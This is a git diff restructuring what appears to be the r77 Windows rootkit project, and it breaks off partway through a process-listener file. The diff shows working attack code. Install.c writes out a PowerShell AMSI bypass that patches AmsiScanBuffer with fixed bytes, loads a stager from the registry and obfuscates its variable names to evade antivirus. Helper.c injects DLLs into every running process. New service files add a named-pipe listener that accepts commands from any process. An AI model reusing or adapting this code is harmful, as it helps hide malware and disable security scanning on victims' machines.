diff --git a/Docs/Documentation.docx b/$Docs/Documentation.docx
similarity index 100%
rename from Docs/Documentation.docx
rename to $Docs/Documentation.docx
diff --git a/Docs/Removed.cpp b/$Docs/Removed.cpp
similarity index 100%
rename from Docs/Removed.cpp
rename to $Docs/Removed.cpp
diff --git a/Examples/ControlPipe.cpp b/$Examples/ControlPipe.cpp
similarity index 100%
rename from Examples/ControlPipe.cpp
rename to $Examples/ControlPipe.cpp
diff --git a/Examples/InstallShellCode.cpp b/$Examples/InstallShellCode.cpp
similarity index 100%
rename from Examples/InstallShellCode.cpp
rename to $Examples/InstallShellCode.cpp
diff --git a/Examples/InstallShellCode.cs b/$Examples/InstallShellCode.cs
similarity index 100%
rename from Examples/InstallShellCode.cs
rename to $Examples/InstallShellCode.cs
diff --git a/.gitignore b/.gitignore
index 2968673..7d0c3fb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,8 +17,8 @@ TestResults/
*~*.docx
$Build/
-vs/Install/Resources/
-vs/InstallStager/Resources/
-vs/InstallService32/Resources/
-vs/InstallService64/Resources/
-vs/Uninstall/Resources/
\ No newline at end of file
+Install/Resources/
+Stager/Resources/
+Service32/Resources/
+Service64/Resources/
+Uninstall/Resources/
\ No newline at end of file
diff --git a/vs/BuildTask/BuildTask.cs b/BuildTask/BuildTask.cs
similarity index 88%
rename from vs/BuildTask/BuildTask.cs
rename to BuildTask/BuildTask.cs
index f1b69f2..7be21e2 100644
--- a/vs/BuildTask/BuildTask.cs
+++ b/BuildTask/BuildTask.cs
@@ -29,7 +29,7 @@ public static int Main(string[] args)
{
if (!Directory.Exists(args[1])) return 1;
- return CreateShellCodeInstaller(new DirectoryInfo(args[1]).Parent.FullName) ? 0 : 1;
+ return CreateShellCodeInstaller(args[1]) ? 0 : 1;
}
else
{
@@ -86,14 +86,18 @@ private static byte[] R77Signature(byte[] file, ushort signature)
}
private static bool CreateShellCodeInstaller(string solutionDir)
{
- Directory.CreateDirectory(Path.Combine(solutionDir, @"src\InstallShellcode\bin"));
+ Directory.CreateDirectory(Path.Combine(solutionDir, @"InstallShellcode\bin"));
- string shellCodePath = Path.Combine(solutionDir, @"src\InstallShellcode\bin\InstallShellcode.exe");
- if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"src\InstallShellcode\InstallShellcode.asm"), shellCodePath))
+ string shellCodeExePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.exe");
+ string shellCodePath = Path.Combine(solutionDir, @"InstallShellcode\bin\InstallShellcode.shellcode");
+
+ if (FasmCompile(Path.Combine(solutionDir, @"SlnBin\FASM"), Path.Combine(solutionDir, @"InstallShellcode\InstallShellcode.asm"), shellCodeExePath))
{
+ byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodeExePath));
+ File.WriteAllBytes(shellCodePath, shellCode);
+
using (FileStream file = File.Create(Path.Combine(solutionDir, @"$Build\Install.shellcode")))
{
- byte[] shellCode = ExtractShellCode(File.ReadAllBytes(shellCodePath));
file.Write(shellCode, 0, shellCode.Length);
byte[] installer = File.ReadAllBytes(Path.Combine(solutionDir, @"$Build\Install.exe"));
diff --git a/vs/BuildTask/BuildTask.csproj b/BuildTask/BuildTask.csproj
similarity index 97%
rename from vs/BuildTask/BuildTask.csproj
rename to BuildTask/BuildTask.csproj
index 5cad6a6..9786bc3 100644
--- a/vs/BuildTask/BuildTask.csproj
+++ b/BuildTask/BuildTask.csproj
@@ -38,7 +38,7 @@
-
+
Properties\GlobalAssemblyInfo.cs
diff --git a/vs/Example/App.xaml b/Example/App.xaml
similarity index 100%
rename from vs/Example/App.xaml
rename to Example/App.xaml
diff --git a/vs/Example/App.xaml.cs b/Example/App.xaml.cs
similarity index 100%
rename from vs/Example/App.xaml.cs
rename to Example/App.xaml.cs
diff --git a/vs/Example/CpuUsage.cs b/Example/CpuUsage.cs
similarity index 100%
rename from vs/Example/CpuUsage.cs
rename to Example/CpuUsage.cs
diff --git a/vs/Example/Example.csproj b/Example/Example.csproj
similarity index 94%
rename from vs/Example/Example.csproj
rename to Example/Example.csproj
index d8718a6..0ce877a 100644
--- a/vs/Example/Example.csproj
+++ b/Example/Example.csproj
@@ -59,14 +59,14 @@
MSBuild:Compile
Designer
+
+ Properties\GlobalAssemblyInfo.cs
+
MSBuild:Compile
Designer
-
- Properties\GlobalAssemblyInfo.cs
-
App.xaml
Code
@@ -94,7 +94,7 @@
- mkdir "$(SolutionDir)..\$Build"
-echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)..\$Build\$77-Example.exe"
+ mkdir "$(SolutionDir)$Build"
+echo F|xcopy /I /Y "$(TargetPath)" "$(SolutionDir)$Build\$77-Example.exe"
\ No newline at end of file
diff --git a/vs/Example/Example.ico b/Example/Example.ico
similarity index 100%
rename from vs/Example/Example.ico
rename to Example/Example.ico
diff --git a/vs/Example/MainWindow.xaml b/Example/MainWindow.xaml
similarity index 100%
rename from vs/Example/MainWindow.xaml
rename to Example/MainWindow.xaml
diff --git a/vs/Example/MainWindow.xaml.cs b/Example/MainWindow.xaml.cs
similarity index 100%
rename from vs/Example/MainWindow.xaml.cs
rename to Example/MainWindow.xaml.cs
diff --git a/vs/Example/Properties/AssemblyInfo.cs b/Example/Properties/AssemblyInfo.cs
similarity index 100%
rename from vs/Example/Properties/AssemblyInfo.cs
rename to Example/Properties/AssemblyInfo.cs
diff --git a/vs/Example/Resources/Example32.png b/Example/Resources/Example32.png
similarity index 100%
rename from vs/Example/Resources/Example32.png
rename to Example/Resources/Example32.png
diff --git a/vs/Example/Resources/Help16.png b/Example/Resources/Help16.png
similarity index 100%
rename from vs/Example/Resources/Help16.png
rename to Example/Resources/Help16.png
diff --git a/vs/Example/Resources/Warning16.png b/Example/Resources/Warning16.png
similarity index 100%
rename from vs/Example/Resources/Warning16.png
rename to Example/Resources/Warning16.png
diff --git a/vs/Example/app.manifest b/Example/app.manifest
similarity index 100%
rename from vs/Example/app.manifest
rename to Example/app.manifest
diff --git a/src/GlobalAssemblyInfo.cs b/Global/GlobalAssemblyInfo.cs
similarity index 98%
rename from src/GlobalAssemblyInfo.cs
rename to Global/GlobalAssemblyInfo.cs
index 6920bcf..e91f586 100644
--- a/src/GlobalAssemblyInfo.cs
+++ b/Global/GlobalAssemblyInfo.cs
@@ -6,7 +6,7 @@
namespace Global
{
- // These constants must match the preprocessor definitions in r77api.h
+ // These constants must match the preprocessor definitions in r77def.h
public static class Config
{
public const string HidePrefix = "$77";
diff --git a/src/Helper/Helper.cpp b/Helper/Helper.c
similarity index 82%
rename from src/Helper/Helper.cpp
rename to Helper/Helper.c
index bfef9ee..905f996 100644
--- a/src/Helper/Helper.cpp
+++ b/Helper/Helper.c
@@ -1,8 +1,16 @@
#include "Helper.h"
-
-int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
+#include "r77def.h"
+#include "r77win.h"
+#include "r77config.h"
+#include "r77process.h"
+#include
+#include
+#include
+#include
+
+int CALLBACK WinMain(_In_ HINSTANCE instance, _In_opt_ HINSTANCE previousInstance, _In_ LPSTR commandLine, _In_ int cmdShow)
{
- InitializeApi(INITIALIZE_API_SRAND | INITIALIZE_API_DEBUG_PRIVILEGE);
+ EnabledDebugPrivilege();
int argCount;
LPWSTR *args = CommandLineToArgvW(GetCommandLineW(), &argCount);
@@ -10,24 +18,24 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
if (argCount == 1)
{
- MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", sizeof(LPVOID) == 4 ? L"Helper32.exe" : L"Helper64.exe", MB_ICONASTERISK | MB_OK);
+ MessageBoxW(NULL, L"This is a commandline utility used by TestConsole.exe", COALESCE_BITNESS(L"Helper32.exe", L"Helper64.exe"), MB_ICONASTERISK | MB_OK);
return 1;
}
// Helper32|64.exe -config
- else if (argCount == 2 && !lstrcmpiW(args[1], L"-config"))
+ else if (argCount == 2 && !StrCmpIW(args[1], L"-config"))
{
return CreateConfig();
}
// Helper32|64.exe -list
- else if (argCount == 2 && !lstrcmpiW(args[1], L"-list"))
+ else if (argCount == 2 && !StrCmpIW(args[1], L"-list"))
{
return ProcessList();
}
// All processes: Helper32|64.exe -inject -all "C:\path\to\r77-*.dll"
// Specific PID: Helper32|64.exe -inject 1234 "C:\path\to\r77-*.dll"
- else if (argCount == 4 && !lstrcmpiW(args[1], L"-inject"))
+ else if (argCount == 4 && !StrCmpIW(args[1], L"-inject"))
{
- if (!lstrcmpiW(args[2], L"-all"))
+ if (!StrCmpIW(args[2], L"-all"))
{
return Inject(-1, args[3]);
}
@@ -39,9 +47,9 @@ int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR comma
}
// All processes: Helper32|64.exe -detach -all
// Specific PID: Helper32|64.exe -detach 1234
- else if (argCount == 3 && !lstrcmpiW(args[1], L"-detach"))
+ else if (argCount == 3 && !StrCmpIW(args[1], L"-detach"))
{
- if (!lstrcmpiW(args[2], L"-all"))
+ if (!StrCmpIW(args[2], L"-all"))
{
return Detach(-1);
}
@@ -67,15 +75,15 @@ int ProcessList()
// - or that it's the r77 service,
// - or that it's an r77 helper file.
- PR77_PROCESS r77Processes = new R77_PROCESS[1000];
+ PR77_PROCESS r77Processes = NEW_ARRAY(R77_PROCESS, 1000);
DWORD r77ProcessCount = 1000;
if (!GetR77Processes(r77Processes, &r77ProcessCount)) r77ProcessCount = 0;
- HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
+ HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) return 1;
PROCESSENTRY32W processEntry;
- processEntry.dwSize = sizeof(processEntry);
+ processEntry.dwSize = sizeof(PROCESSENTRY32W);
WCHAR fileName[MAX_PATH + 1];
WCHAR userName[256];
@@ -172,7 +180,7 @@ int Inject(DWORD processId, LPCWSTR dllPath)
if (processId == -1)
{
// Inject all processes
- LPDWORD processes = new DWORD[10000];
+ LPDWORD processes = NEW_ARRAY(DWORD, 10000);
DWORD processCount = 0;
if (EnumProcesses(processes, sizeof(DWORD) * 10000, &processCount))
{
@@ -207,6 +215,6 @@ int Detach(DWORD processId)
else
{
// Detach from specific process
- return DetachInjectedProcess(processId) ? 0 : 1;
+ return DetachInjectedProcessById(processId) ? 0 : 1;
}
}
\ No newline at end of file
diff --git a/src/Helper/Helper.h b/Helper/Helper.h
similarity index 94%
rename from src/Helper/Helper.h
rename to Helper/Helper.h
index ae8ff37..7fd1800 100644
--- a/src/Helper/Helper.h
+++ b/Helper/Helper.h
@@ -1,7 +1,4 @@
-#pragma comment(linker, "/subsystem:windows")
-
-#include "../r77api.h"
-#include
+#include "r77mindef.h"
///
/// Helper32.exe and Helper64.exe are used by TestConsole.exe to retrieve a process list.
diff --git a/Helper/Helper.vcxitems b/Helper/Helper.vcxitems
new file mode 100644
index 0000000..2759bf4
--- /dev/null
+++ b/Helper/Helper.vcxitems
@@ -0,0 +1,22 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {e6543f7a-4e58-4c55-975e-ed975481ebe8}
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vs/Helper32/Helper32.vcxproj b/Helper32/Helper32.vcxproj
similarity index 78%
rename from vs/Helper32/Helper32.vcxproj
rename to Helper32/Helper32.vcxproj
index 471c024..e4e4e26 100644
--- a/vs/Helper32/Helper32.vcxproj
+++ b/Helper32/Helper32.vcxproj
@@ -21,13 +21,13 @@
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,8 @@
+
+
@@ -45,26 +47,31 @@
true
+ false
false
+ false
Level3
- true
+ false
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDLL
+ CompileAsC
+ false
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
@@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
Level3
true
true
- true
+ false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
-
-
-
-
-
-
-
-
-
diff --git a/Helper32/Helper32.vcxproj.filters b/Helper32/Helper32.vcxproj.filters
new file mode 100644
index 0000000..9cd8510
--- /dev/null
+++ b/Helper32/Helper32.vcxproj.filters
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/vs/Helper64/Helper64.vcxproj b/Helper64/Helper64.vcxproj
similarity index 78%
rename from vs/Helper64/Helper64.vcxproj
rename to Helper64/Helper64.vcxproj
index 12a105f..d443d31 100644
--- a/vs/Helper64/Helper64.vcxproj
+++ b/Helper64/Helper64.vcxproj
@@ -21,13 +21,13 @@
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,8 @@
+
+
@@ -45,26 +47,31 @@
true
+ false
false
+ false
Level3
- true
+ false
_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
- Console
+ Windows
true
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
@@ -72,32 +79,28 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
Level3
true
true
- true
+ false
NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
-
-
-
-
-
-
-
-
-
diff --git a/Helper64/Helper64.vcxproj.filters b/Helper64/Helper64.vcxproj.filters
new file mode 100644
index 0000000..9cd8510
--- /dev/null
+++ b/Helper64/Helper64.vcxproj.filters
@@ -0,0 +1,2 @@
+
+
\ No newline at end of file
diff --git a/src/Install/Install.cpp b/Install/Install.c
similarity index 84%
rename from src/Install/Install.cpp
rename to Install/Install.c
index 601f376..054443e 100644
--- a/src/Install/Install.cpp
+++ b/Install/Install.c
@@ -1,13 +1,18 @@
#include "Install.h"
-
-int CALLBACK WinMain(HINSTANCE instance, HINSTANCE previousInstance, LPSTR commandLine, int cmdShow)
+#include "resource.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "r77runtime.h"
+#include
+#include
+#include
+
+int main()
{
- InitializeApi(INITIALIZE_API_SRAND);
-
// Get stager executable from resources.
LPBYTE stager;
DWORD stagerSize;
- if (!GetResource(IDR_INSTALLSTAGER, "EXE", &stager, &stagerSize)) return 0;
+ if (!GetResource(IDR_STAGER, "EXE", &stager, &stagerSize)) return 0;
// Write stager executable to registry.
// This C# executable is compiled with AnyCPU and can be run by both 32-bit and 64-bit powershell.
@@ -53,19 +58,19 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
{
// Powershell inline command to be invoked using powershell.exe "..."
- PWCHAR command = new WCHAR[4096];
- lstrcpyW(command, L"\"");
+ PWCHAR command = NEW_ARRAY(WCHAR, 4096);
+ StrCpyW(command, L"\"");
// AMSI bypass:
- // [Reflection.Assembly]::Load triggers AMSI and the byte[] with InstallStager.exe is passed to AV for analysis.
+ // [Reflection.Assembly]::Load triggers AMSI and the byte[] with Stager.exe is passed to AV for analysis.
// AMSI must be disabled for the entire process, because both powershell and .NET itself implement AMSI.
// AMSI is only supported on Windows 10.
- if (IsWindows10OrGreater())
+ if (IsWindows10OrGreater2())
{
// Patch amsi.dll!AmsiScanBuffer prior to [Reflection.Assembly]::Load.
// Do not use Add-Type, because it will invoke csc.exe and compile a C# DLL to disk.
- lstrcatW
+ StrCatW
(
command,
// Function to create a Delegate from an IntPtr
@@ -112,21 +117,21 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
{
// b8 57 00 07 80 mov eax, 0x80070057
// c3 ret
- lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);");
+ StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$AmsiScanBufferPtr,6);");
}
else
{
// b8 57 00 07 80 mov eax, 0x80070057
// c2 18 00 ret 0x18
- lstrcatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);");
+ StrCatW(command, L"[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$AmsiScanBufferPtr,8);");
}
// VirtualProtect PAGE_EXECUTE_READ
- lstrcatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);");
+ StrCatW(command, L"[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectPtr,$VirtualProtectDelegate).Invoke($AmsiScanBufferPtr,[uint32]8,0x20,[ref]$OldProtect);");
}
- // Load InstallStager.exe from registry and invoke
- lstrcatW
+ // Load Stager.exe from registry and invoke
+ StrCatW
(
command,
L"[Reflection.Assembly]::Load"
@@ -139,7 +144,7 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
L".Invoke($Null,$Null)"
);
- lstrcatW(command, L"\"");
+ StrCatW(command, L"\"");
// Obfuscate all variable names with random strings.
ObfuscateString(command, L"Get-Delegate");
@@ -162,17 +167,13 @@ LPWSTR GetPowershellCommand(BOOL is64Bit)
VOID ObfuscateString(LPWSTR str, LPCWSTR name)
{
DWORD length = lstrlenW(name);
+ WCHAR newName[100];
- LPWSTR newName = new WCHAR[length];
- for (DWORD i = 0; i < length; i++)
- {
- newName[i] = L"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"[rand() * 52 / RAND_MAX];
- }
-
- for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);)
+ if (GetRandomString(newName, length))
{
- wmemcpy(ocurrence, newName, length);
+ for (LPWSTR ocurrence; ocurrence = StrStrIW(str, name);)
+ {
+ libc_wmemcpy(ocurrence, newName, length);
+ }
}
-
- delete[] newName;
}
\ No newline at end of file
diff --git a/src/Install/Install.h b/Install/Install.h
similarity index 85%
rename from src/Install/Install.h
rename to Install/Install.h
index cd5a1dc..920b1e7 100644
--- a/src/Install/Install.h
+++ b/Install/Install.h
@@ -1,7 +1,5 @@
-#pragma comment(linker, "/subsystem:windows")
-
-#include "../r77api.h"
-#include "../../vs/Install/resource.h"
+#define CUSTOM_ENTRY
+#include "r77mindef.h"
///
/// Creates the powershell startup command.
diff --git a/vs/Install/Install.vcxproj b/Install/Install.vcxproj
similarity index 78%
rename from vs/Install/Install.vcxproj
rename to Install/Install.vcxproj
index 509647c..df39592 100644
--- a/vs/Install/Install.vcxproj
+++ b/Install/Install.vcxproj
@@ -21,13 +21,13 @@
Application
true
- v142
+ v143
Unicode
Application
false
- v142
+ v143
true
Unicode
@@ -35,6 +35,7 @@
+
@@ -52,20 +53,26 @@
Level3
- true
+ false
WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreadedDebug
+ CompileAsC
+ false
+ Default
- Console
+ Windows
true
RequireAdministrator
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"
@@ -77,22 +84,29 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
Level3
true
true
- true
+ false
WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
true
MultiThreaded
+ CompileAsC
+ false
+ MinSpace
+ Size
- Console
+ Windows
true
true
false
RequireAdministrator
+ ntdll.lib;shlwapi.lib;taskschd.lib;%(AdditionalDependencies)
+ true
+ EntryPoint
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" "$(TargetPath)" -r77helper
-mkdir "$(SolutionDir)..\$Build"
-xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
+mkdir "$(SolutionDir)$Build"
+xcopy /Y "$(TargetPath)" "$(SolutionDir)$Build"
"$(SolutionDir)BuildTask\bin\$(Configuration)\BuildTask.exe" -shellcodeinstaller "$(SolutionDir)\"
@@ -100,23 +114,20 @@ xcopy /Y "$(TargetPath)" "$(SolutionDir)..\$Build"
-
-
+
+
-
-
-
-
+
-
+
-
+
-
+
diff --git a/vs/Install/Install.vcxproj.filters b/Install/Install.vcxproj.filters
similarity index 66%
rename from vs/Install/Install.vcxproj.filters
rename to Install/Install.vcxproj.filters
index 0a2a71c..28a1272 100644
--- a/vs/Install/Install.vcxproj.filters
+++ b/Install/Install.vcxproj.filters
@@ -1,24 +1,13 @@
-
-
-
-
{812009c3-0b86-4444-9ce5-09208fb015db}
-
-
-
-
-
-
- Resources
-
+
@@ -26,4 +15,12 @@
+
+
+
+
+
+ Resources
+
+
\ No newline at end of file
diff --git a/vs/InstallService64/Resource.rc b/Install/Resource.rc
similarity index 94%
rename from vs/InstallService64/Resource.rc
rename to Install/Resource.rc
index 91f6a27..0e42d09 100644
--- a/vs/InstallService64/Resource.rc
+++ b/Install/Resource.rc
@@ -47,10 +47,10 @@ END
/////////////////////////////////////////////////////////////////////////////
//
-// DLL
+// EXE
//
-IDR_R77 DLL "Resources\\r77.dll"
+IDR_STAGER EXE "Resources\\Stager.exe"
#endif // English (United States) resources
/////////////////////////////////////////////////////////////////////////////
diff --git a/vs/Install/Resources/.gitkeep b/Install/Resources/.gitkeep
similarity index 100%
rename from vs/Install/Resources/.gitkeep
rename to Install/Resources/.gitkeep
diff --git a/vs/Install/app.manifest b/Install/app.manifest
similarity index 96%
rename from vs/Install/app.manifest
rename to Install/app.manifest
index edc45d4..b6a0996 100644
--- a/vs/Install/app.manifest
+++ b/Install/app.manifest
@@ -1,4 +1,4 @@
-
+
diff --git a/vs/Install/resource.h b/Install/resource.h
similarity index 89%
rename from vs/Install/resource.h
rename to Install/resource.h
index 27ac810..e6ca2cd 100644
--- a/vs/Install/resource.h
+++ b/Install/resource.h
@@ -2,7 +2,7 @@
// Microsoft Visual C++ generated include file.
// Used by Resource.rc
//
-#define IDR_INSTALLSTAGER 101
+#define IDR_STAGER 101
// Next default values for new objects
//
diff --git a/src/InstallShellcode/InstallShellcode.asm b/InstallShellcode/InstallShellcode.asm
similarity index 100%
rename from src/InstallShellcode/InstallShellcode.asm
rename to InstallShellcode/InstallShellcode.asm
diff --git a/InstallShellcode/InstallShellcode.vcxitems b/InstallShellcode/InstallShellcode.vcxitems
new file mode 100644
index 0000000..bad4681
--- /dev/null
+++ b/InstallShellcode/InstallShellcode.vcxitems
@@ -0,0 +1,23 @@
+
+
+
+ $(MSBuildAllProjects);$(MSBuildThisFileFullPath)
+ true
+ {deab25fd-2042-4bd6-bf4b-0802dccc70f5}
+
+
+
+ %(AdditionalIncludeDirectories);$(MSBuildThisFileDirectory)
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/src/InstallShellcode/PebApi.asm b/InstallShellcode/PebApi.asm
similarity index 100%
rename from src/InstallShellcode/PebApi.asm
rename to InstallShellcode/PebApi.asm
diff --git a/src/InstallShellcode/PebApi.inc b/InstallShellcode/PebApi.inc
similarity index 100%
rename from src/InstallShellcode/PebApi.inc
rename to InstallShellcode/PebApi.inc
diff --git a/src/InstallShellcode/RunPE.asm b/InstallShellcode/RunPE.asm
similarity index 100%
rename from src/InstallShellcode/RunPE.asm
rename to InstallShellcode/RunPE.asm
diff --git a/src/InstallShellcode/nt.inc b/InstallShellcode/nt.inc
similarity index 100%
rename from src/InstallShellcode/nt.inc
rename to InstallShellcode/nt.inc
diff --git a/Service/ControlPipeListener.c b/Service/ControlPipeListener.c
new file mode 100644
index 0000000..b8c448a
--- /dev/null
+++ b/Service/ControlPipeListener.c
@@ -0,0 +1,37 @@
+#include "ControlPipeListener.h"
+#include "r77def.h"
+#include "r77win.h"
+
+VOID ControlPipeListener(CONTROLCALLBACK callback)
+{
+ CreateThread(NULL, 0, ControlPipeListenerThread, callback, 0, NULL);
+}
+DWORD WINAPI ControlPipeListenerThread(LPVOID parameter)
+{
+ while (TRUE)
+ {
+ HANDLE pipe = CreatePublicNamedPipe(COALESCE_BITNESS(CONTROL_PIPE_NAME, CONTROL_PIPE_REDIRECT64_NAME));
+ while (pipe != INVALID_HANDLE_VALUE)
+ {
+ if (ConnectNamedPipe(pipe, NULL))
+ {
+ DWORD controlCode;
+ DWORD bytesRead;
+ if (ReadFile(pipe, &controlCode, 4, &bytesRead, NULL) && bytesRead == sizeof(DWORD))
+ {
+ ((CONTROLCALLBACK)parameter)(controlCode, pipe);
+ }
+ }
+ else
+ {
+ Sleep(1);
+ }
+
+ DisconnectNamedPipe(pipe);
+ }
+
+ Sleep(1);
+ }
+
+ return 0;
+}
\ No newline at end of file
diff --git a/Service/ControlPipeListener.h b/Service/ControlPipeListener.h
new file mode 100644
index 0000000..fefbf17
--- /dev/null
+++ b/Service/ControlPipeListener.h
@@ -0,0 +1,17 @@
+#include "r77mindef.h"
+#ifndef _CONTROLPIPELISTENER_H
+#define _CONTROLPIPELISTENER_H
+
+///
+/// A callback that notifies the r77 service about a command.
+///
+typedef VOID(*CONTROLCALLBACK)(DWORD controlCode, HANDLE pipe);
+
+///
+/// Creates a new listener for the control pipe that receives commands from any process.
+///
+/// The function that is called, when a command is received by another process.
+VOID ControlPipeListener(CONTROLCALLBACK callback);
+static DWORD WINAPI ControlPipeListenerThread(LPVOID parameter);
+
+#endif
\ No newline at end of file
diff --git a/Service/ProcessListener.c b/Service/ProcessListener.c
new file mode 100644
index 0000000..1942dd5
--- /dev/null
+++ b/Service/ProcessListener.c
@@ -0,0 +1,95 @@
+#include "ProcessListener.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "r77runtime.h"
+#include
+
+VOID NewProcessListener(DWORD interval, PROCESSIDCALLBACK callback)
+{
+ PNEW_PROCESS_LISTENER notifier = NEW(NEW_PROCESS_LISTENER);
+ notifier->Interval = interval;
+ notifier->Callback = callback;
+
+ CreateThread(NULL, 0, NewProcessListenerThread, notifier, 0, NULL);
+}
+static DWORD WINAPI NewProcessListenerThread(LPVOID parameter)
+{
+ PNEW_PROCESS_LISTENER notifier = (PNEW_PROCESS_LISTENER)parameter;
+
+ LPDWORD currendProcesses = NEW_ARRAY(DWORD, 10000);
+ LPDWORD previousProcesses = NEW_ARRAY(DWORD, 10000);
+ DWORD currendProcessCount = 0;
+ DWORD previousProcessCount = 0;
+
+ while (TRUE)
+ {
+ if (EnumProcesses(currendProcesses, sizeof(DWORD) * 10000, ¤dProcessCount))
+ {
+ currendProcessCount /= sizeof(DWORD);
+
+ for (DWORD i = 0; i < currendProcessCount; i++)
+ {
+ // Compare the result of EnumProcesses with the previous list and invoke the callback for new processes.
+ BOOL isNew = TRUE;
+
+ for (DWORD j = 0; j < previousProcessCount; j++)
+ {
+ if (currendProcesses[i] == previousProcesses[j])
+ {
+ isNew = FALSE;
+ break;
+ }
+ }
+
+ if (isNew) notifier->Callback(currendProcesses[i]);
+ }
+
+ libc_memcpy(previousProcesses, currendProcesses, sizeof(DWORD) * 10000);
+ previousProcessCount = currendProcessCount;
+ }
+
+ Sleep(notifier->Interval);
+ }
+
+ return 0;
+}
+
+VOID ChildProcessListener(PROCESSIDCALLBACK callback)
+{
+ CreateThread(NULL, 0, ChildProcessListenerThread, callback, 0, NULL);
+}
+static DWORD WINAPI ChildProcessListenerThread(LPVOID parameter)
+{
+ while (TRUE)
+ {
